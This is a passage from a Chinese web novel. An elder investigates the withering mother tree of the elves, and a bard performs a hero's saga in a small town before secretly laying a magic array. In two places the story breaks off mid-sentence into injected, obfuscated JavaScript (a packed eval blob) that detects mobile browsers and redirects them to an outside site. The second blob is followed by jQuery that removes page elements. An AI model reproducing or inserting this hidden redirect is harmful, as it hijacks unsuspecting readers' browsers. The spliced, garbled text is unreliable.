整棵白玉雕成的巨树已经枯萎了一半,剔透的玉枝上挂得不是晶莹的碧色,而是颜色暗沉,边缘蜷曲,散发着衰败气息的枯叶。 曾经郁郁葱葱,身姿舒展,遮天蔽日的神圣巨树,如今增添几分萧瑟颓败,任何一只诞生于此的精灵只要亲眼目睹,都会被这一幕震得心魂动荡,悲凉与心痛油然而生。 母树的生机丧失严重,稀疏的碧色间挂着几颗明显营养不良的精灵果实,她数了数,大约有十一二个,这更让她清楚地意识到精灵族的颓势。 因为在她离开之前,精灵母树可是一次诞生数百个精灵啊。 百年一诞,五十年一结,精灵族本就子嗣艰难,一次诞生百位精灵勉强可以维持族群数量,如今新一代的精灵竟然只剩十余位,这让她怎么不痛心。 被点到的恰好是梅洛重点关注的两位精灵之一,顺滑的浅蓝发丝整整齐齐地披在身后,他默默起身,将精灵族的困境从头到尾言简意赅地概括了一遍,又开始讲述梅洛不在时精灵族的动作。 梅洛的表情在叙述过程中没有丝毫波动,偷偷瞥她的精灵也自然没有发现,无法推测大长老的心情是好还是坏,这莫测的未知感让他们更加提心吊胆了。 大长老没有发表任何意见,直到米斯卡说完后才开口。 “所以说,面对母树的衰败,精灵族大批族人失踪,半精灵数量的奇怪增加,你们仅仅采取了没有丝毫成果的调查,然后通知各方把半精灵全部送回,想了套狗屁不通的组合拳,没有结果,最后实在没有办法,决定封闭主星,不允许族人和外界往来?” “还有,别以为我不知道你们把半精灵找回来是要做什么。”她的眼风寒刀似的扫过一圈精灵,某些家伙的头低得更夸张了。“给我立刻停止计划,这种办法也能想出来,狗急跳墙了是不是!” 米斯卡不吭声,却有年轻的精灵忍不住反驳,觉得她说话太难听,自尊心被戳痛了。 “我们查了好久,不是什么都没查到!” “是那群家伙太狡猾了,跑得比龙还快,我们捣毁了好多据点,拯救了被关押的族人,只是没找到他们的大本营!不是没有成果!” “所以呢。”梅洛道,“有区别吗?” 话音落下,一片静默。 精灵张了张嘴,他本可以说出更多,例如虽然没抓到敌人,但起码识破了阴谋,精灵族有防备后就很少有精灵失踪了。 千言万语在心中转了个遍,最后临到嘴边却半个字也吐不出来。 纵然不想承认,这位素未谋面,传闻中一直在闭关的大长老说得没错。 族人失踪已经陆陆续续两三百年了,期间失踪了几万个,剩下的精灵数量锐减,而他们却只找回十几位精灵,而敌人依旧隐藏于暗处。他们甚至阻止不了族人莫名的失踪,只能选择自我封锁。 这本身就说明了精灵族的弱势。 他们确实毫无成果,毫无建树,偌大的精灵族,赫赫有名,独占一整个星域的幻想种族却拿那伙人一点办法都没有。 选择防守,是另类的退缩,是怯弱的凭证,是无力的反抗,也是精灵族一点一点走入衰败的最后的垂死挣扎。 21.布局 一处偏远小镇。 杜拉斯完成今天上午的工作,准备去最爱的蔓蔓果餐厅用餐。 今天和往常没有任何不同,风很温柔吹得精灵轻飘飘的,空气中弥漫着熟悉的果香和饭香。 如果非要说有什么不同的话,杜拉斯脑海中浮现出一个身影。 偏僻的小镇很少有外人到来,主星未封闭前就是如此,如今更不会有精灵突发奇想来这个景色不特殊,物产也不丰富的偏远地方。 她还以为到这的路线已经取消了呢,毕竟这里是个连名字都很潦草的小镇:蔓果镇。 蔓果是这里最常见的野果,是一种绿色的,巴掌大的水果,味道酸中带甜,滋味不错。 小镇里随处可见以蔓果为名的店铺,比如左手边的蔓果商店,蔓果酒馆,和她要去的蔓蔓果餐馆。 因此,当那个陌生的精灵来到镇上时,在一众相熟的面孔中就尤为显眼,她走过来时,几乎所有的精灵都会在干活或者闲逛时偷看两眼,看看这难得一见的陌生精灵。 杜拉斯当然也是如此,而且这个精灵不仅仅陌生,更有一种与一般精灵截然不同的感觉,让精灵耳目一新,忍不住多看几眼,她形容不出来,只觉得这个精灵和别的精灵都不一样,好像,好像在闪闪发光。 有种在星网上看见明星的错觉。 她穿着复古简洁,带着历史沉淀过的厚重和神秘,又不失美感。 而且,她是那样的灿烂温暖,对每个路过的精灵都露出耀眼的笑容,热情地和大家打招呼。 就像是金灿灿的小太阳。 这还挺少见的,因为就算是生性友好的精灵族也很少像她一样毫不见外,到陌生地方遇见陌生精灵不害羞,不收敛,热情开朗,自在从容,就好像来到自己家似的。 这种精灵实在令人印象深刻。 杜拉斯还记得,当时她正在整理自己的手工制品,那个家伙突然窜出来向她搭讪,带着她亲切温暖的笑容,翠色的眼眸亮得惊人。 “你好呀!我叫布莱尔,很高兴认识你!” 杜拉斯被这家伙晃了眼,心里乱成一团,说出来的话自然也乱七八糟,前言不搭后语,“你好你好,我也很高兴认识你,你真漂亮,比金丝炽阳花还要漂亮。” 金丝炽阳花是一种像金丝编成的花,花蕊中间孕育着一颗光球,盛开时无比耀眼夺目,但温度却是暖融融的。 这种花不算少见,有亮光的地方就可以生长,在精灵族尤为常见,野地里大片大片地开着,是常用的照明用品。 精灵愣了一下,然后笑容更大了,眼眸中流露出醉人的喜悦,“谢谢!你也很漂亮!” 在精灵族夸别人漂亮可爱就是夸别人美的意思,算是精灵族的最高赞誉了。 他们就算对于强者也会赞美ta的美丽。 强大,也是一种美。 然后她又问杜拉斯的名字。 “我叫杜拉斯。” “真是一个可爱的名字!” 真诚地夸奖完后,精灵提出了自己的来意。 其实池危也想过以什么身份打入小镇居民的内部,按照套路,她应该说是来采访的记者。 但记者的功利性太强,抓住线索就不撒手,有刨根问底的嫌疑,容易让居民感到不适。 再说了,主星都封闭了,什么时候能出去都不知道,什么记者都得思量思量要不要转行。 如果说是随便逛逛的旅客,作为旅客又应当专注采风,到处打听还是有点奇怪,而且这里确实不算风景独特,来旅游对当地居民而言有点站不住脚。 作家倒是可以,但别忘了她布莱尔可是一名吟游诗人啊,冒充作家哪有本职工作顺手,而且之后还有用得上吟游诗人这个身份的时候。 “是这样的,我是一名吟游诗人。 吟游诗人就是走走停停,将遇见的事编成故事或者诗歌,唱给大家听的一种职业。” “我这次来到这个小镇其实是巧合啦。” 精灵不好意思地笑笑,挠了挠头,“因为这个小镇的名字真的很有意思,所以我想这里一定有有趣的或者值得思考和反思的故事!” “所以。”精灵的头凑近了,亚麻色的麻花辫耷拉在两侧,露出一副可怜巴巴的表情。“杜拉斯你一定知道哪里会有很多精灵聚在一起聊天吧。” “拜托了,杜拉斯,我会非常感谢你的!你也不会吃亏,因为布莱尔知道很多超棒的故事,可以和你分享!” 意料之中的,杜拉斯没有抵抗住精灵的恳求,告诉她这里最好吃的餐馆叫蔓蔓果,中午时大部分小镇居民都会选择在这里就餐。 现在已经到饭点了,杜拉斯想,那个精灵现在一定和其他精灵打成一片了吧。 在推开蔓蔓果餐馆的大门前,杜拉斯一直这么认为。 但门内的景象和她方才所想有些许出入。 打成一片是打成一片了,但方式有所不同。 只见餐馆内挤挤攘攘,竟比往日还拥挤不少,连门口空地都被挤占了。 杜拉斯绕过搬着凳子围成一圈错落有致的精灵团体,终于看到餐馆内原先摆放桌椅的地方,那里站着一个熟悉的身影。 原先的桌椅被挪到旁边,勉强留出一处空间给吟游诗人,原先的客人正挤在桌子旁,没吃完的一边吃一边听,吃完的捧个蔓果果汁留在原位也不走。 客人们不约而同地保持安静,宽敞的餐馆内只有吟游诗人咏叹调一般的清亮嗓音,伴随有节奏的琴声,娓娓道来那段历史悠久的故事。 “……苦难的子民,且听这末日与黎明的诗章。大地崩裂,天空泣血,雷霆怒吼,天空撕裂,傲慢者的高塔终成坟场。 精灵不谙齿轮的韵律,兽人难解炼金的火光,被遗忘的种族在废墟中挣扎,仇恨比熔岩更滚烫。 勇者凝望破碎的天地,俯瞰生灵的哀嚎,生锈的铁剑铮铮作响。 人族工匠们捶打哭泣的铜炉,‘我们的智慧难道要埋进坟墓?’勇者剑锋挑破阴霾:‘人类绝不会从此断绝!’ 魔法齿轮咬住黎明,蒸汽托起新芽! 她举起生锈的铁剑,将一切反对的声音按下。 法师,骑士与冒险者携手;机械,炼金与魔法融合,希望的方舟在人类掌下萌发,生长。 幻月森林飘满精灵的箭雨,警惕地拉满银弓,‘背叛者不可靠近!’,勇者的承诺铿锵有力:‘不要担心,和我们离开,我会将母树一起带走。’ 精灵们说:‘不要再欺骗我们,无耻的背叛者,否则你和你的同伴将会永远沉眠在母树的光辉之下!’ 母树却垂下玉石般的枝丫,卡俄斯之球将巨树容纳。 长老的权杖咚地砸进泥土:‘这锈剑比所有契约更值得托付!’ 勇者的宽容永远值得尊敬,幻月水晶将友谊铭记。 无尽之海回荡海妖的歌声。勇者呐喊:‘海妖,请和我们离开! 你们锋利的爪子不擅锻造,你们有力的尾巴难以行走,请来到求生者的营地,与我们一起创造希望的方舟。’ 于是海妖们浮出水面,褪去尾巴,露出双腿。 海妖之王的三叉戟荡涤深海,染血的鳞片见证海妖的忠诚。 ‘若你履行约定,海妖族将永远是你最忠诚的伙伴。’ 荒野之原奔腾着兽人的身影,兽人的吼叫震裂焦土:‘勇者,我们没有灵活的双手和聪颖的头脑,兽人终将与大地同眠。’ 勇者大笑指向横亘万里的裂隙‘没有蛮力如何能改天换地?’ 兽人欢呼簇拥离去。 满是熔岩地火的炽热之所绘成最后的诗篇。天空的主宰盘踞在硫磺王座,龙焰烧焦了勇者半侧头发。 巨龙不屑人类的怜悯,喷洒着龙息驱赶同情。 勇者言:‘龙族的勇猛毋庸置疑,龙鳞的坚硬世所罕见,龙族的骄傲却蒙蔽了双眼。’ 龙族的骄傲不容挑衅,三百二十一只巨龙却皆被钉于石上。 龙王睁开残忍的竖瞳。 整整三十个日出见证这场对决——铁剑与龙牙碰撞出灼目火花! 锈迹斑斑的剑尖抵住它的心脏,败北的龙王垂下翅膀: ‘龙族只对强者低头,勇者是龙族认可的对手!’ 现在请看这前所未有的盛景:精灵咒文缠绕着齿轮,海妖歌声校准星象罗盘, 兽人筋肉绷紧船帆,锈迹斑斑的铁剑高悬桅杆。 为何史书没有记载她的结局?或许是万千生灵祈愿:终末的勇者,伟大的领袖,永远不会迎来她的末路。” 最后一声琴音落下,整座餐厅陷入短暂的寂静。 而后爆发出冲天的欢呼声,精灵们纷纷上前表达自己的喜爱,激动的精灵差点维持不住平日的矜持的礼貌,排成一道歪歪扭扭的长队,甚至有的精灵趁其他精灵不注意悄悄将其挤出去。 布莱尔还看到杜拉斯也在其中,她悄悄冲杜拉斯笑了笑,还比了个wink ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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故事中,是按照人,精灵,海妖,兽人,龙的顺序收拢各族的,又已知勇者最后带领建立了黎明帝国,所以人族首先排除。再看几个种族的性格,精灵喜欢安逸,肯定想早点找到合适的地方安置母树然后搬走。 但是成年龙族肉身强悍,能在宇宙中横行,性格又桀骜不驯,好勇斗狠,如果有机会先走龙族肯定当仁不让。 这可真难猜啊,加林眉头越皱越紧。 而且,不能忘了海妖,在海中生活到了陆地肯定不适应,这也是最想走的种族之一。 所以,最后哪个种族先搬到新家,还得看运气,看希望方舟最先遇到的星球更适宜哪个种族生存。 好了,一通分析下来毫无结果。 看来,只能靠猜了! 加林握紧拳头,小声试探,“呃,是龙?”看到源毫无波动的眼神,加林又改了答案,“哦,不对,难道是精灵?” “呵。”源冷笑一声,带着学霸看文盲的不屑,“错了,是海妖!” 加林懊恼叹气,“唉,再猜一个就猜对了,我也没差多少嘛……”声音在源的眼神中渐渐变小,最后一点也听不见了。 源出了一口恶气后,开始科普,“史书记载,当方舟启航不久,母星便毁于中子星爆炸的波及,现在的母星是集各族之力重建后的全新星球。 之后除龙族之外的其他种族在方舟上度过了三千多个日夜,才遇到第一个宜居星球,也就是海妖族的特兰那星球,海妖族大部分迁移离开,剩下一部分海妖则继续和勇者遨游星海,与星海原本的文明争夺领土,就算遇到人族动乱也没离去,他们甚至参与了讨伐背叛者的血色围剿。直到人族成立黎明帝国,勇者失踪,这部分海妖才回归族群。 其余种族也差不多,之后按照,龙族,兽人,精灵的顺序依次找到星球重建家园。” 科普到这里就算是结束了,源停顿一下,接着发出一句与科普毫无关联的感慨:“所以,勇者大人真是位前所未见的,人格魅力如此出众的伟大领袖!” 望着腼腆小精灵不自觉上扬的语气和脸上兴奋的红晕,布莱尔觉得自己悟了。 原来是勇者的小迷弟啊,怪不得对她这么热情主动,第一个就窜上来,原来是爱屋及乌,喜欢勇者,所以对她这位讲故事的人多了几分好感。 这下再看周围比上次热情不少的精灵们也不觉得奇怪了,用追星作比喻的话,她现在不就相当于精灵们特别有才华的同担吗!她还能把偶像的故事到处宣扬传唱,让所有人都知道偶像的事迹,还讲得有点水平,那不可得支持一下! 22.举措 “源懂得真多,真是一位博学的精灵,连我见了都喜欢,勇者肯定最喜欢你们这种小精灵了!” 源被夸得不好意思,秀气的面庞微红,不见方才教训同伴的自信,小声嗫嚅道:“真的吗,勇者大人真的会喜欢我这样的精灵吗?” 布莱尔右手用力一挥,颇有些挥斥方遒之感,显出十足的自信来,“那是必须的,我布莱尔亲自认证勇者最喜欢精灵族,她要是不服气,尽管来找我说道说道。” 噗嗤,源被布莱尔这种说法逗笑了,知道布莱尔是在逗他,也就没在意布莱尔言语是中对勇者的调侃,他虽然崇拜勇者,却不是那种死板的崇拜者,将勇者捧上神坛的极端粉丝。 他熟读史书,精灵族作为长生种又拥有全星际最完备详细的记载,他从书中认识了那个被精灵族极尽赞誉的伟大领袖,他崇拜勇者的言行和毅力,折服于她的领袖魅力,更崇拜她不拘一格、将各个种族一视同仁,温和包容的态度。 也因此,他觉得勇者大人应该是那种很亲切,很温和可靠又不失威严的领袖,是他精神上的标杆,源想,如果勇者大人知道有人开她的玩笑,她大概也会一笑置之或者干脆来个自嘲吧。 不过源生性内敛,还是不太习惯布莱尔这种直白热烈的表达方式,于是露出一个羞涩的笑容,“谢谢你,布莱尔。你也是一个很好的精灵,和勇者大人一样好。” 源总喜欢把勇者挂在嘴边,他的朋友们都知道他这个毛病,夸人的时候也会用你和勇者大人一样xxx,生气或者伤心的时候则会想如果是勇者本人面对这样的情况,她会怎么做,怎么想呢? 每次这么思考之后,情绪便平静了下来,他也学着勇者那样无论何时都理智温和,好像任何困难都能付之一笑的姿态,冷静地处理自己曾经认为难以解决的问题。 “没事的,这只是个小问题,打起精神来,难道这一丁点的小问题我们的勇士都解决不了吗? 伙计们,我们只要这样那样然后这样做,是不是好了很多?” 这是出自精灵简史·灾难篇中勇者最常说的话。 见源和吟游诗人聊得这么开心,好像其他精灵都不在他们眼里似的,喜欢争夺关注,外加刚刚被内涵了一通的加林不乐意了,鼓起脸大声发问: “难道勇者大人只喜欢好学的精灵,不喜欢我们这种活泼可爱的精灵吗?” 虽然他书读得少,但他知道勇者对所有种族都是一样的态度,连脑子空空只有肌肉的兽人她都同等对待,可没听说过不读书就不被喜欢的道理,他这样可爱的小精灵凭什么不被喜欢! 听他这么说,其他围观群众都笑了起来,很显然,大家都习惯加林这样有话直说的大胆行为。 一些也不爱读书的精灵在心里默默点头,表示赞同。 而和他相熟的精灵就没有顾忌了,直接开始声讨加林,纷纷调侃他在陌生精灵面前不注意形象,这么夸自己也太不谦虚,太丢蔓果镇的脸了。 但加林不为所动,翠绿眼睛执着地盯着布莱尔,加林的金发有点打卷,面容稚嫩,继承精灵族一贯的精致,还有点婴儿肥,年纪确实不大。 他此时目光异常坚定,像一只不吃到骨头就不撒嘴的金毛小狗。 正好戳到她的笑点上…… 布莱尔被逗笑了,大方点头表示赞同,一视同仁道:“那当然了,勇者要是不喜欢你那就是她没品味!我就喜欢你这样的小精灵。” 加林满意了,末了,还得补充一句:“不可以说勇者大人没品味,她只是暂时没看到我的好啦。” 听到这句话,周围立即传来一片嘘声,加林转头怒视刚刚起哄的方向,精灵个个正襟危坐,面容严肃,嘴巴紧闭,没一点异样,抓不到起哄的精灵加林只能放弃,又不死心地恨恨道:“别让我抓到是谁,不然你就完了,听到没有!” 没精灵理他,大家都知道要是真看到是谁起的哄,加林早就扑过来了,才不会在这放狠话。 不过有加林带头,大家都放开了,加林话音刚落下不久,就有一个正在排队的灰发精灵举起手,咧着嘴笑问:“那我们呢,勇者大人也喜欢我们吗?” 气氛都到这了,所有精灵不论长幼不论性格都不约而同地盯着这里,眼眸中暗藏期待,有种湿漉漉的感觉。 面对这群小可爱,布莱尔当然不会扫兴了,当即叉着腰大笑一声:“哈哈,好好好,每个精灵她都超级喜欢,精灵可爱又漂亮,大家都非常棒,勇者她简直爱死精灵族了!哈哈哈哈!” 爽朗的笑声回荡在餐馆内,这下,最爱打闹的精灵都不吱声了,被布莱尔笑得有点脸热。 怎么好像被哄了啊…… 就是那种小时候找老师要糖吃,老师摸摸头然后夸了自己,接着又把糖喂嘴里的感觉。 布莱尔笑着笑着就发现周围很安静,她也不意外,甚至是习以为常。 她骄傲地想,可能小精灵这辈子都很难遇到像她这般爽朗的同类吧,社交恐怖分子的威力依旧巨大啊。 布莱尔自顾自笑了好一会儿,等她停下来,喝一口果汁,扫视面前的一排精灵,想着总不能就一直让人家直愣愣地站这。 让观众干等的事她做不到! 他们手里都拿着东西,有类似源拿过来的饮品,还有食物,零嘴,手工制品等等,种类丰富多样,但也能感觉到准备得太匆忙,有些东西一看就是就地取材。 例如那些个扯下来的珍珠腰链,手镯,头饰啊还算正常,但是那个用柠檬、香叶,还有吃剩的骨头做的拼贴画,就有些接受不能了…… 不过观众嘛,心意到了就行。 布莱尔很满意,额,除了那个拼贴画,所以,她觉得自己不能光拿礼物,也应该留点纪念品送给可爱的观众们。 她思索一番,这个纪念品肯定得是具有她个人特色的物品。 签名?她记得她那时候精灵族好像不流行这个,人族倒是蛮多。 她以前都是用表演过后魔力共鸣产生的衍生品代替的,对了,她这次表演的衍生品呢。 刚才编故事的时候太投入,都没注意周身没有异象产生。 想当年,遇到实力强大的观众,她可是每次都趁几个强者分心抢纪念品,没工夫理她的时候才有机会逃跑的。 布莱尔想起了什么似的,用手指敲敲她的小竖琴,老伙计,又被你吃啦,快吐出来。 竖琴嗡嗡震动两下,像是抗议一般,不情不愿地吐出几朵花和几片叶子,大概有十几个,数量不多但勉强够用了。 布莱尔粗略地数了数排队的精灵,然后抬头看向还没离开,尴尬地用手指搓衣角的源,递给他一朵花。 “非常感谢你的喜欢,源,这是送给你的礼物。” “别看它看上去只是一朵花,其实它的内部藏着我最衷心的祝福,希望你喜欢它。” 其实……说来说去就是一朵花。 无论看上去摸上去还是闻上去都和普通的花没有区别,是她魔力所化,不会枯萎或消失。 顶多握在手里时可以隐约听见她当时所弹奏的曲子和唱的诗歌。 无论怎么看,都很寒酸,勉强可以当成留声机用。 不过这么说可不行,有损她的格调和亲爱的观众们的感情。 哦,现在好像叫粉丝了。 作为曾经最受欢迎的吟游诗人,大陆名副其实的顶流,一张灵活变通的嘴和略加修饰的语言是俘获观众的心的利器。 就算是寒酸的、普通的几片叶子和几朵花,也必须饱含她真诚的祝福和感激。 东西虽然普通,但她是真的爱啊!她的观众必须感受到她的爱意! 果不其然,她这话一说完,源的表情就变了,顾不得尴尬,小心翼翼地用双手捧过花,像捧的是什么易碎的物品似的,满脸郑重。 立刻施展了封存的魔法,将花朵的时间定格在这一刻。 “谢谢您,布莱尔女士,我会好好珍惜的。” 布莱尔有点牙酸,她看不得别人把破烂玩意儿当宝贝,又不能拆自己台,只能找补道:“这朵花虽然蕴藏了我对你们的祝福,但它的载体只是一朵普通的花,是我的魔力变的,你就算不小心摔了也摔不坏的。” 然而源犟得很,可能是读书读得多,成书呆子了,依旧是那副板正斯文又郑重的样子,说出了他在布莱尔面前有史以来最有底气的话: “不,您不懂,这根本不是一朵普通的花。” 得,她又不懂了。 布莱尔忍住挑眉的冲动,嘴角抽搐两下,“对对对,我不懂,你说的都对。” 看,她有时候就是搞不懂她亲爱的观众们脑子里在想些什么,从前是这样,现在还是这样。 但根据经验之谈,最好不要和他们掰扯,不然有理也说不清,她今天也别想干别的事了。 就这样,目送源离开,一个个接过精灵们的礼物,又送出自己的纪念品,再看着他们接过以后变成和源一个模子里刻出来的郑重摸样,然后磨磨蹭蹭地走回原位继续吃饭。 布莱尔觉得自己该离开了。 这次的观众看着没有那么疯狂,也没有比她强的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334925|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高阶精灵,她又不赶时间,做好了售后工作,于是布莱尔选择正大光明地从正门走。 走到一半时突然看到加林头上金毛一抖一抖地冲她挥手,她镇定自若地挥了回去。 ** 布莱尔看着像所有偶然来到偏远小镇的游客,没有著名景点可以消遣,也没有导游,只能漫无目的地在街上闲逛。 唯一不同的可能是她格外不见外吧,完全不把自己当外地精灵,每每和陌生精灵对上眼,她就率先冲人家笑,导致别的精灵先愣神,才反应过来,也下意识地笑笑。 布莱尔走啊走,走出了小镇,走向深林,越走越偏,像闲逛一样,只是手中不时有晶莹的银绿色光点洒下。 她绕过石头,跳过水坑,从平坦的大道一直走到崎岖的山路,树木也越来越密。 布莱尔从先前散步式的走法变成只用脚尖沾地,她逐渐走出小镇的范围,周围看不见民居,精灵的身影也消失了。旁边没人,她便不再磨蹭,加快了速度,林间只见一道模糊的影子疾速前进。 嗖嗖几下,布莱尔就登上了这一小山,她在山顶一处断崖边停下,崖体陡峭高耸,站在崖上,恰好能俯瞰小镇全貌。 她伸出手,五指张开,掌心向下。 在她掌下,小镇中有两处隐隐闪烁。她又屈起手指,四指并拢,望着小镇所在的那片地方,用手指点了几下。 绿色和银色碎屑从空间纽中飘出,被风送到对应的地点,风吹开表层泥土,细小的碎屑被埋入土中,汇聚成一道道线条。 一切完成后,布莱尔调动魔力,霎时,被埋在田野里的三处碎屑所在地闪烁了几下。 从高空看去,一共五处重点关照的地点,两处在镇中,三处在田野,中间由银色线条连接起来,那是用魔力材料构成的节点和魔力回路,这五处连接起来,竟然构成一副巨大的五芒星法阵。 五芒星法阵成型后只微不可察地亮了一瞬间就归于沉寂,布莱尔检查完毕,收回了手。 绿色碎屑是之前找到的晶石碾碎了部分,制成粉末,再加上她最近收集到的一些精灵果实上的叶子混合而成。 银色碎屑则是良好的魔导材料——秘银。 秘银是法师们最常用的材料,能够快速传导魔力,在制作魔法阵、炼金造物、药剂方面广泛运用,可以说是最基础的黏合材料。 她刚刚补下的小型法阵并不完整,是一个大型嵌套法阵的一部分,单独的小法阵只有汇聚和传递气息这一个作用,就算启动,也只是悄无声息,不引人瞩目,等到整个法阵完成才会发挥出它真正的威力,届时,就不是现在这般不起眼了。 布莱尔欣赏一番自己完成的作品,有一种事情被引入正轨后的成就感,这边精灵族的事如果不被幕后黑手察觉到,并提前破坏的话,最后应该不成大问题。 至于精灵族,虽然不知道长老们那边会怎么做,但相信有出关的大长老梅洛在,不求能提供助力,至少不会拖后腿。 她做好的这些准备工作,应该可以和精灵族的行动暗中打个配合。 毕竟,拯救精灵族,也不是她一个人的事啊…… 而且如果没有她,精灵族凭借自身也可以渡过难关,但会慢一些,无辜的冤魂也会更多一些,既然她可以阻止这部分没必要的伤亡,那为什么不去做呢? 她同意做任务本来也不是因为系统的要求啊。 这边布莱尔刚想到大长老,那边站在精灵母树下的梅洛就恰好打了个喷嚏。 也许是心有灵犀,梅洛此时也想到了布莱尔。 不过她并不知道那个家伙就是布莱尔。 梅洛望着参天的玉树,根部如龙爪一般紧攥地面,根须钻进星球内部,牢牢裹住地心,枝干遒劲,恍若碧玉。 但树皮皲裂,深纹纵横,书写着岁月的侵蚀,内部有丝丝绿线蜿蜒而上,树冠伸展而茂密,遮天蔽日,祂站在这里,仿佛亘古不变。 古老,沧桑,恢弘,却又有着惊心动魄的美丽,令人安心的包容中又透露出一丝不可亵渎的神性。 只是那翠绿茂密的树冠被半边稀疏的焦黄破坏了,近乎完美的造物就这样被添上败笔,好似珍珠蒙尘,白璧有瑕,让站在这的梅洛痛心不已。 这些天她将私库中所有恢复生机的宝物都取出来,堆到母树下让母树吸收,并且用最高级指令调出精灵族宝库中能用的物品,仅仅让那半边枯叶恢复了一小半,死寂的枯黄中也泛出些许绿意。 这么多宝物堆上去,都可以挽回一颗濒死的星球了,却偏偏只让母树的情况 23.探查 多想无益,精灵族的事如果自己都不解决,难道指望外族大发善心地帮忙? 如果这样,不能独立行走的精灵族早晚会被那些觊觎精灵族财富的豺狼虎豹分食殆尽。 既然单纯补充生机的方法行不通,那就再想别的办法。 梅洛再次施展探查魔法。 在此之前她已经施展了几百次,只得出母树缺乏某种东西的结论,母树流露出渴望的涵义,缺少这种东西让祂日渐虚弱,又得不到补充,陷入了恶性循环。 但这次她看出了些不一样的东西。 魔力在母树体内流动,从树干同时向上下伸展,沿着绿色的脉络检索母树身上每一处,从树干一路流淌到树冠、树枝、树叶、树根,从上到下都依旧没有任何异样,梅洛皱了皱眉。 难道她只能眼睁睁地看着母树毫无缘由地衰弱下去,看着精灵族走向灭亡吗? 梅洛五指攥紧,面色紧绷。 就在这时,也许是她的不甘和对族人命运的心痛太过强烈,这纯粹的情感竟然影响到了母树,二者在这一瞬间产生了某种交融和共鸣。 刹那间思维共通,情感交汇,两颗不同的心在此刻同频震动,魔力也在颤动着触碰,母树放开自己对本源的防护,让梅洛的魔力探了进去。 这一探就让梅洛察觉到了不对。 母树的本源本该是浓郁的翠绿,里面有星星点点的光亮闪烁浮动,像是璀璨的星海,浓郁的生机之力形成雾气包裹着核心。 可现在那象征的死意的灰白紧紧缠绕其上,像是寄生生物体的铁线虫一样穿梭在肉中,钻入钻出,时而露出时而消失,腐蚀了大半的翠绿,被缠绕的部分变成灼烧过的焦黑,蜷缩成烧焦的崎岖不平,像是一团皱缩的肉块。 她心底狠狠一沉。 怎么会这样,本源竟然受损如此严重,竟有几分油尽灯枯,回天无力的迹象。 这比她预估的状况更糟糕。 母树身为神级造物,若没有外界因素的影响自可以屹立千千万万年,定然有外部力量插手才会导致母树现在的情况。 而外部力量想直接对母树下手根本不可能,无论是母树自身的实力还是精灵族对母树严防死守,都不可能让外族轻易得逞。 那么,只能从与母树有关联的东西下手…… 与母树关联最密切的就是——精灵啊! 梅洛瞳孔骤缩,该死,他们怎么会知道这个秘密! 这是个在精灵中都鲜为人知的秘密,精灵母树与精灵族是某种程度的共生关系,精灵母树身为神级造物却能留存世间彰显威能,直接干涉世界发展,没有被法则赶回虚空,就是因为有整个精灵族作为锚点。 精灵是由母树本源所直接孕育的,而在精灵死后,身体会反哺大地,灵魂则回归母树,归于来处,补充本源,等待下一轮重新孕育,重新洗去记忆,清清白白地出生。 出生,死亡,回归,出生……这是一套严密完整的轮回,每个步骤像是精密仪器上的齿轮,只要轻轻取下某个齿轮,整套流程就会卡顿。 如果只有一个两个因为意外无法回归倒还好,母树还不至于这点恢复能力都没有,能够影响到母树本身,甚至影响到这种半死不活的地步,一定是一个大量的、极其可怖的数字。 再看看如今精灵族可怜的数量,对比曾经鼎盛繁荣的精灵族几乎是十不存一啊,最鼎盛时精灵族有数十万,而现在只有稀稀拉拉的几万精灵散落在辽阔无垠的星海中,而这其中还有许许多多不知从哪冒出来的半精灵! 最坏的情况就是所有失踪的,比现存精灵多几倍的数量的精灵已经全部死去了,死后身体不好说,但灵魂一定被某种方法牢牢禁锢不得解脱,不得安宁! 这个可怕的猜想让梅洛神魂巨震,心惊肉跳。 这太可怕了,如果这个猜想成立,那就意味着她有无数的同胞在他们看不见的地方痛苦死去,死后灵魂一直被禁锢,饱受折磨,无法解脱,无法回归母树的怀抱,而这么多年竟然没有一个精灵发现。 如果这个发现被公布出去,共情能力极强的精灵怕是立刻要出现暴动了。 所以不能直接公开,但也不用刻意隐瞒。 死去同胞的鲜血不该白流,逝去的魂灵不该被掩藏! 精灵族被这么多年的安逸平和麻痹了血性,泡软了骨头,腐蚀了刀锋,内敛了锋芒,也让星海忘记,精灵族的地位也是当初每一位精灵族悍不畏死,疯狂扫荡,所过之处血流成河,用手中的刀用星舰上的炮火轰出来的! 这场祸事也正是精灵族再次清醒过来的磨刀石,是重新展露獠牙的契机。因此,揭露真相的时机很重要,起码现在还不是时候。 但是想到这,梅洛有了疑问,这么多年,精灵持续在减少,但凡离开星域的几乎没有再回来过,真的没有精灵发现这个问题,试图去查找原因吗? 她一直闭关不知精灵族的变化就罢了,连刚刚的精灵族的数量都是翻阅资料时才知道的,一时之间没有立刻联想起来。 而当母树都出现问题时,就算之前没有察觉,精灵族的变化都那么明显了,真的没有精灵联想到母树的衰弱与精灵的减少是否存在联系吗? 就算普通精灵察觉不到这点,难道那么多长老无一位产生过怀疑吗? 更何况,还有不知道从哪里突然冒出这么多的半精灵。 半精灵违反自然规律的降生方式,明明在史书上记载地清清楚楚,那是早就被精灵族带头围剿的禁忌的灵魂实验,和毫无底线的残忍的智慧生物活体实验啊! 别的不说,和她一起从尸山血海中杀出来的长老们怎么会不知道呢? 比如留在精灵族的四长老、五长老、六长老。 这让她不得不怀疑,精灵族,是否出了内鬼。 梅洛不爱拖延,也不爱脑补阴谋,既然想到了问题便立即要找证据验证自己的猜测,届时一切明了。 她拨通了五长老的通讯。 